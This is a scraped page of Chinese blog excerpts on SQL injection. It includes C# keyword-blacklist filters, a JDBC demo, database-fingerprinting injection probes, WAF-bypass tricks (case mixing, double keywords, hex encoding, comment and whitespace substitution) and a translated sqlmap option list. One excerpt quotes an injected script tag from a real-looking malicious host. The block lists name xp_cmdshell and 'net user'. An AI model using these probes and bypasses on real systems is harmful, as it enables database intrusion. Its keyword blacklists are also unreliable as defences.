sql注入

防SQL注入

一个人想着一个人 提交于 2020-04-03 10:35:13
最近中招<script src=http://s.see9.us/s.js></script>,比较郁闷,真是猖獗啊, 再回过头来看看代码中的拼接,发现几处 Request.QueryString并不是用参数传值,没有做限制,估计就是漏洞点,只有在补充过滤类,来限制了 1 /**/ /// <summary> 2 /// 过滤SQL注入关键字[post,get] 3 /// </summary> 4 /// <param name="pStr"></param> 5 /// <returns></returns> 6 public static string GetQueryStringSafe( string pStr) 7 { 8 bool IsValue = true ; 9 if (pStr != null && pStr.Length > 0 ) 10 { 11 pStr = pStr.ToLower(); 12 string strSQLin = " '|and|--|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare |;|&|%20|==|>|< " ; 13 string [] strSQLinGroup = strSQLin.Split( new char

c#.net全站防止SQL注入类的代码

无人久伴 提交于 2020-04-03 07:37:30
using System; using System.Collections.Generic; using System.Linq; using System.Web; /// <summary> /// 防SQL注入检查器 /// </summary> public class SqlChecker { //当前请求对象 private HttpRequest request; //当前响应对象 private HttpResponse response; //安全Url,当出现Sql注入时,将导向到的安全页面,如果没赋值,则停留在当前页面 private string safeUrl = String.Empty; //Sql注入时,可能出现的sql关键字,可根据自己的实际情况进行初始化,每个关键字由'|'分隔开来 //private const string StrKeyWord = @"select|insert|delete|from|count(|drop table|update|truncate|asc(|mid(|char(|xp_cmdshell|exec master|netlocalgroup administrators|:|net user|""|or|and"; private const string StrKeyWord = @"select

java操作数据库

烈酒焚心 提交于 2020-04-03 04:19:26
1 、 jdbc-odbc /** * 演示使用 jdbc-odbc 桥连方式操作数据库 *1 、配置数据源 ( 数据源:服务器 S ( . 或 local, 点小三角会死机) ) *2 、在程序中去连接数据源 * */ import java.sql.*; public class Demo { public static void main(String args[]) { Connection=null; Statement=null; try{ //1 、加载驱动 ( 作用是把需要的驱动程序加入内存 ) Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");// 该 jdbc 是 sun 公司开发的 //2 、得到连接 ( 指定连接到哪个数据源,用户名和密码 ) // 如果你配置数据源的时候,选择是 windows nt 验证,则不需要 "sa","shunping" // 即 Connection ct=DriverManager.getConnection("jdbc:odbc:mytext") Connection ct=DriverManager.getConnection("jdbc:odbc:mytext","sa","123456"); //3 、创建 Statement 或者 PreparedStatement[ 区别

SQL注入判断数据库类型

ぐ巨炮叔叔 提交于 2020-04-02 23:06:05
页面返回的报错信息判断 默认端口判断 Oracle port:1521 SQL Server port:1433 MySQL port:3306 数据库特有的数据表判断 oracle数据库 http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1 mysql数据库(mysql版本在5.0以上) http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1 access数据库 http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1 mssql数据库 http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1 数据库特有的连接符判断 mysql数据库 http://127.0.0.1/test.php?id=1 and '1' + '1' = '11' http://127.0.0.1/test.php?id=1 and CONCAT('1','1')=

注入神器sqlmap命令大全

▼魔方 西西 提交于 2020-04-02 08:15:44
详解强大的SQL注入工具——SQLMAP Akast [N.S.T] 1. 前言 Windows下的注入工具好的又贵,免费的啊D、明小子等又不好用,我们根本没必要花 时间去找什么破解的havij、pangolin什么的,特别是破解的工具很可能被绑了木马。其实 Linux下的注入工具也是非常强大的,不过分的说,可以完全取代Windows下面的所有注入 工具。 就如backtrack系统里面就有非常丰富的注入工具,对MSSQL、MYSQL、oracle等各种 数据库的应有尽有了,而且这些工具都是免费的,并且是开放源代码的,我们还可以用来修 改为合适自己使用的注入工具。 本文给大家介绍的SqlMap是一个开放源码的渗透测试工具,它可以自动探测和利用SQL 注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很 多猥琐的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上 的命令。 2. SQLMAP命令详解 为了方便使用我把sqlmap的选项都翻译出来了,当然可能会存在一些不恰当的地方, 请大家指出,可以给我发邮件:akast@ngsst.com。如果我有时间会把这个工具出个中文版。 Options(选项): --version 显示程序的版本号并退出 -h, --help 显示此帮助消息并退出 -v VERBOSE 详细级别:0-6

sql注入绕过方法

戏子无情 提交于 2020-03-29 17:45:35
一、注释符号绕过   在sql中常用的注释符号有   --、#、/*xxx*/、 二、大小写绕过   当web正则过滤的时候对大小写不敏感的情况下使用,一般很少会有这种漏洞   比如当过滤了select的时候我们可以采用SEleCT来查询 三、内联注释绕过   把要使用的查询语句放在/*。。。*/中,这样在一般的数据库是不会执行的,但是在mysql中内联注释中的语句会被执行。 四、双写关键字绕过   有的waf只会对关键词过滤一次,这时候采用双写的方式可以绕过。   selselectect * from user; 过滤select后变成 select * from user; 五、特殊编码绕过   十六进制:     s elect * from users where username = 0x7a68616e677961 ;      ascii编码绕过    六、空格过滤绕过   /**/ ,(),`,tab,两个空格      一定要注意在使用()绕过的时候,括号里边不能有*号    七、or and xor not 过滤绕过   and = && or = ||  xor = | #   not = ! 八、=号过滤绕过   =号和不加通配符的 like 是一样的。      还可以使用 < >号来绕过      <> 在mysql中等于!= 如果在加一个!

NET中小型企业项目开发框架系列(一个)

心不动则不痛 提交于 2020-03-28 18:36:48
当时的前端,我们开发了基于 Net一组结构sprint.NET+NHibernate+MVC+WCF+EasyUI等中小型企业级系统开发平台,如今把整个开发过程中的步步进展整理出来和大家分享,这个系列可能有点长。多多指导学习。 我们的底层开发平台是 sprint.NET+NHibernate+MVC+WCF+EasyUI方式开发,顺便加点Spring.net注入的部分,当然我们最基本的关于权限设计、业务设计,而架构。咱们没有学过太复杂的架构。我们还是以最经常使用的MVC架构開始拓展 參考材料: <<重构,改善既有代码的设计>> <<.net应用架构设计原则,模式与实践>> <<.net设计范式>> <<代码整洁之道>> 首先我们要解说一下关于项目的搭建部分,我们的项目主要分6部分,业务逻辑层。数据訪问层,页面层,数据模型层以及一个公共类的部分,每层我们在这个基础上抽象了相应的接口,这样上一层仅仅须要对下一层,面向接口编程。同一时候有Spring.NET来管理层之间的关系。达到解耦的目的。 这里主要是: 业务逻辑层: ICMSBLL:业务逻辑层接口 CMSBLL:业务逻辑层实现 抽象的数据底层封装(泛型) ICommonSupportDAL:对公共的方法的抽象 CommonSupportDAL:公共方法的实现 数据訪问层: ICMSDAL:数据訪问层接口 CMSDAL:数据訪问层实现

Java面试之MyBatis

六月ゝ 毕业季﹏ 提交于 2020-03-27 16:09:52
125. MyBatis 中 #{}和 ${}的区别是什么? \#{}是预编译处理,${}是字符替换。 在使用 #{}时,MyBatis 会将 SQL 中的 #{}替换成“?”,配合 PreparedStatement 的 set 方法赋值,这样可以有效的防止 SQL 注入,保证程序的运行安全。 126. MyBatis 有几种分页方式? 分页方式:逻辑分页和物理分页。 逻辑分页: 使用 MyBatis 自带的 RowBounds 进行分页,它是一次性查询很多数据,然后在数据中再进行检索。 物理分页: 自己手写 SQL 分页或使用分页插件 PageHelper,去数据库查询指定条数的分页数据的形式。 127. RowBounds 是一次性查询全部结果吗?为什么? RowBounds 表面是在“所有”数据中检索数据,其实并非是一次性查询出所有数据,因为 MyBatis 是对 jdbc 的封装,在 jdbc 驱动中有一个 Fetch Size 的配置,它规定了每次最多从数据库查询多少条数据,假如你要查询更多数据,它会在你执行 next()的时候,去查询更多的数据。就好比你去自动取款机取 10000 元,但取款机每次最多能取 2500 元,所以你要取 4 次才能把钱取完。只是对于 jdbc 来说,当你调用 next()的时候会自动帮你完成查询工作。这样做的好处可以有效的防止内存溢出。

MyBatis映射器(转载)

心已入冬 提交于 2020-03-27 02:29:19
<div class="post-content" itemprop="articleBody"> <h2>什么是MyBatis映射器?</h2><p>MyBatis框架包括两种类型的XML文件,一类是配置文件,即mybatis-config.xml,另外一类是映射文件,例如XXXMapper.xml等。在<a href="http://www.mybatis.cn/680.html" target="_blank">MyBatis的配置文件mybatis-config.xml</a>包含了<mappers></mappers>节点,这里就是MyBatis映射器。</p><h2>1、MyBatis映射器发展历史简介</h2><p>映射器是MyBatis中最核心的组件之一,在MyBatis 3之前,只支持XML映射器,所有的SQL语句都必须在XML文件中配置。而从MyBatis 3开始,开始支持接口映射器,其底层利用的是接口绑定技术(注:面试中经常会问到的一个知识点,见下文5.1项介绍)。另外,接口映射器允许通过注解定义SQL语句,用以替代XML文件配置SQL。</p><h2>2、MyBatis映射器分类</h2><h3>MyBatis映射器分为三类,如下所示:</h3><p>(1)纯xml映射器,利用SqlSession的各种方法实现增删改查。例如:</p><pre><code

int型参数的SQL注入

牧云@^-^@ 提交于 2020-03-26 23:12:53
类似PHP语言的 mysql_real_escape_string() 的函数,在用来防范SQL注入的时候,可能会遇到int型注入成功的情况。 mysql_real_escape_string()用法 mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 下列字符受影响: \x00 \n \r \ ' " \x1a 如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。 使用案例 过滤String型参数的代码案例: <?php $con = mysql_connect("localhost", "hello", "321"); if (!$con){ die('Could not connect: ' . mysql_error()); } // 获得用户名和密码的代码 $user = $_POST("user"); $pwd = $_POST("pwd"); // 转义用户名和密码,以便在 SQL 中使用 $user = mysql_real_escape_string($user); $pwd = mysql_real_escape_string($pwd); $sql = "SELECT * FROM users WHERE user='" . $user . "' AND password='" . $pwd